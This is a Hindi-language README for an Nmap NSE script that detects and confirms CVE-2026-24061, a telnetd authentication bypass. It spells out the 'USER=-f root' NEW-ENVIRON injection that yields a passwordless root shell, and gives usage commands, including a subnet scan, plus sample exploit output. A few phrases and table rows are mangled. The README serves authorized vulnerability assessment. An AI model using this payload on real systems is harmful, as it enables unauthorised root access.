
स्क्रिप्ट एक वास्तविक telnet -a क्लाइंट सत्र के सटीक बाइट अनुक्रम को प्रतिबिंबित करते हुए एक पूर्ण Telnet नेगोशिएशन करती है।
यह Nmap NSE स्क्रिप्ट CVE-2026-24061 का पता लगाती है, जो GNU InetUtils telnetd संस्करण 1.9.3 से 2.7 में एक प्रमाणीकरण बाईपास भेद्यता है।
Telnet विकल्प वार्ता के दौरान -f <username> के रूप में एक क्राफ्टेड USER पर्यावरण चर भेजकर, एक अनधिकृत हमलावर निर्दिष्ट स्थानीय उपयोगकर्ता — जिसमें भी शामिल है — के विशेषाधिकारों के साथ एक शेल प्राप्त कर सकता है, ।
rootइच्छित उपयोग: केवल अधिकृत पैठ परीक्षण और भेद्यता मूल्यांकन।
स्पष्ट लिखित अनुमति के बिना सिस्टम के विरुद्ध इस स्क्रिप्ट को चलाना अवैध है।
| फ़ील्ड | मान |
|---|---|
| CVE ID | CVE-2026-24061 |
| प्रभावित | GNU InetUtils telnetd 1.9.3 – 2.7 |
| CVSSv3 स्कोर | 9.8 क्रिटिकल |
| वेक्टर | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| प्रकार | प्रमाणीकरण बाईपास (CWE-287) |
| प्रकटीकरण | 2026-01-01 |
GNU InetUtils telnetd वार्ता चरण के दौरान क्लाइंट से पर्यावरण चर प्राप्त करने के लिए Telnet NEW-ENVIRON विकल्प (RFC 1572) का उपयोग करता है। फिर login(1) प्रोग्राम को उन चरों के साथ आमंत्रित किया जाता है।
भेद्यता इसलिए उत्पन्न होती है क्योंकि telnetd USER चर को सैनिटाइज़ किए बिना सीधे login को पास करता है। Linux पर login प्रोग्राम एक -f <user> फ़्लैग स्वीकार करता है जिसका अर्थ है "पूर्व-प्रमाणित, पासवर्ड जांच न करें"। NEW-ENVIRON पेलोड के माध्यम से USER="-f root" इंजेक्ट करके, हमलावर प्रमाणीकरण को पूरी तरह से बाईपास कर देता है।
Client → Server: IAC SB NEW-ENVIRON IS VAR "USER" VALUE "-f root" IAC SE
Server response: spawns login -f root → root shell, no password required
| फ़ील्ड | मान |
|---|---|
| फ़ाइलनाम | telnet-vuln-cve-2026-24061.nse |
| श्रेणियाँ | vuln, exploit, intrusive |
| पोर्ट | TCP/23 (telnet) |
| परीक्षण किया गया | Nmap 7.94 / 7.98, Windows और Linux |
स्क्रिप्ट एक वास्तविक telnet -a क्लाइंट सत्र के सटीक बाइट अनुक्रम को दर्शाते हुए एक पूर्ण Telnet वार्ता करती है (Wireshark कैप्चर से पुनर्निर्मित):
DO TTYPE, DO TSPEED, DO ENVIRON, …)WILL TTYPE, WILL LINEMODE, …)SB TSPEED, SB ENVIRON, SB TTYPE)USER='-f <user>' इंजेक्ट करेंWILL ECHO / DO BINARY / WONT LINEMODE अनुक्रम पूरा करेंपरिणाम स्थितियाँ:
| स्थिति | अर्थ |
|---|---|
EXPLOIT | शेल प्रॉम्प्ट प्राप्त हुआ — बाईपास की पुष्टि हुई |
LIKELY_VULN | ENV पेलोड स्वीकृत, कोई पासवर्ड प्रॉम्प्ट नहीं, लेकिन कोई शेल प्रॉम्प्ट नहीं |
NOT_VULN | पासवर्ड प्रॉम्प्ट देखा गया, या वार्ता पूरी नहीं हुई |
# Nmap स्क्रिप्ट निर्देशिका में कॉपी करें
sudo cp telnet-vuln-cve-2026-24061.nse /usr/share/nmap/scripts/
# स्क्रिप्ट डेटाबेस अपडेट करें
sudo nmap --script-updatedb
# Nmap स्क्रिप्ट निर्देशिका में कॉपी करें (आवश्यकता अनुसार पथ समायोजित करें)
copy telnet-vuln-cve-2026-24061.nse "C:\Program Files (x86)\Nmap\scripts\"
# स्क्रिप्ट डेटाबेस अपडेट करें (व्यवस्थापक के रूप में चलाएं)
nmap --script-updatedb
nmap -p 23 --script telnet-vuln-cve-2026-24061 <target>
# लघु रूप
nmap -p 23 --script telnet-vuln-cve-2026-24061 --script-args user=kali <target>
# मध्यम रूप
nmap -p 23 --script telnet-vuln-cve-2026-24061 --script-args telnet-user=kali <target>
# पूर्ण योग्य
nmap -p 23 --script telnet-vuln-cve-2026-24061 \
--script-args telnet-vuln-cve-2026-24061.user=kali <target>
nmap -p 23 --script telnet-vuln-cve-2026-24061 192.168.1.0/24
nmap -p 23 --script telnet-vuln-cve-2026-24061 -v <target> # वर्बोज़
nmap -p 23 --script telnet-vuln-cve-2026-24061 -d <target> # डीबग
nmap -p 23 --script telnet-vuln-cve-2026-24061 -d2 <target> # पूर्ण हेक्स ट्रेस
PORT STATE SERVICE
23/tcp open telnet
| telnet-vuln-cve-2026-24061:
| VULNERABLE:
| GNU InetUtils telnetd Authentication Bypass
| State: VULNERABLE (Exploitable)
| IDs: CVE:CVE-2026-24061
| Risk factor: Critical CVSSv3: 9.8
| Description:
| The telnetd service in GNU InetUtils (1.9.3 - 2.7) allows
| authentication bypass via a crafted USER environment variable.
| Sending '-f <user>' results in an unauthenticated login shell.
| Extra information:
| Authentication bypassed: shell prompt received after injecting
| USER='-f root' -- no password challenge was presented.
| References:
| https://nvd.nist.gov/vuln/detail/CVE-2026-24061
| https://github.com/JayGLXR/CVE-2026-24061-POC
|_ https://github.com/SafeBreach-Labs/CVE-2026-24061
PORT STATE SERVICE
23/tcp open telnet
(कोई स्क्रिप्ट आउटपुट नहीं — NOT_VULN डिज़ाइन द्वारा मौन है, मानक Nmap परंपरा)
| तर्क | उपनाम(नाम) | डिफ़ॉल्ट | विवरण |
|---|---|---|---|
telnet-vuln-cve-2026-24061.user | telnet-user, user | root | -f के माध्यम से इंजेक्ट करने के लिए उपयोगकर्ता नाम |
GNU InetUtils telnetd टर्मिनल I/O मोड निर्धारित करने के लिए Linemode वार्ता (RFC 1184) का उपयोग करता है। सर्वर वार्ता की शुरुआत में DO LINEMODE भेजता है, और क्लाइंट शुरू में WILL LINEMODE के साथ उत्तर देता है। ENV पेलोड विनिमय के बाद, सर्वर WILL ECHO और फिर DO BINARY भेजता है। इस बिंदु पर क्लाइंट को कैरेक्टर-एट-ए-टाइम मोड का संकेत देने के लिए WONT LINEMODE के साथ उत्तर देना अनिवार्य है — केवल तभी telnetd PTY सेटअप (ioctl TIOCSWINSZ) पूरा कर सकता है और login को फोर्क कर सकता है। इस चरण के बिना, सर्वर peer died: Inappropriate ioctl for device लॉग करता है और कनेक्शन छोड़ देता है।
Nmap का NSE सॉकेट API मानक Lua सॉकेट परंपराओं से भिन्न है:
-- Nmap NSE (सही):
local status, data = sock:receive_bytes(1)
if status == true then -- data is the received string
यह स्क्रिप्ट केवल अधिकृत सुरक्षा परीक्षण और अनुसंधान उद्देश्यों के लिए प्रदान की गई है। लेखक इस उपकरण के किसी भी दुरुपयोग या क्षति के लिए ज़िम्मेदार नहीं है। उन सिस्टमों का परीक्षण करने से पहले हमेशा स्पष्ट लिखित अनुमति प्राप्त करें जिनके आप स्वामी नहीं हैं।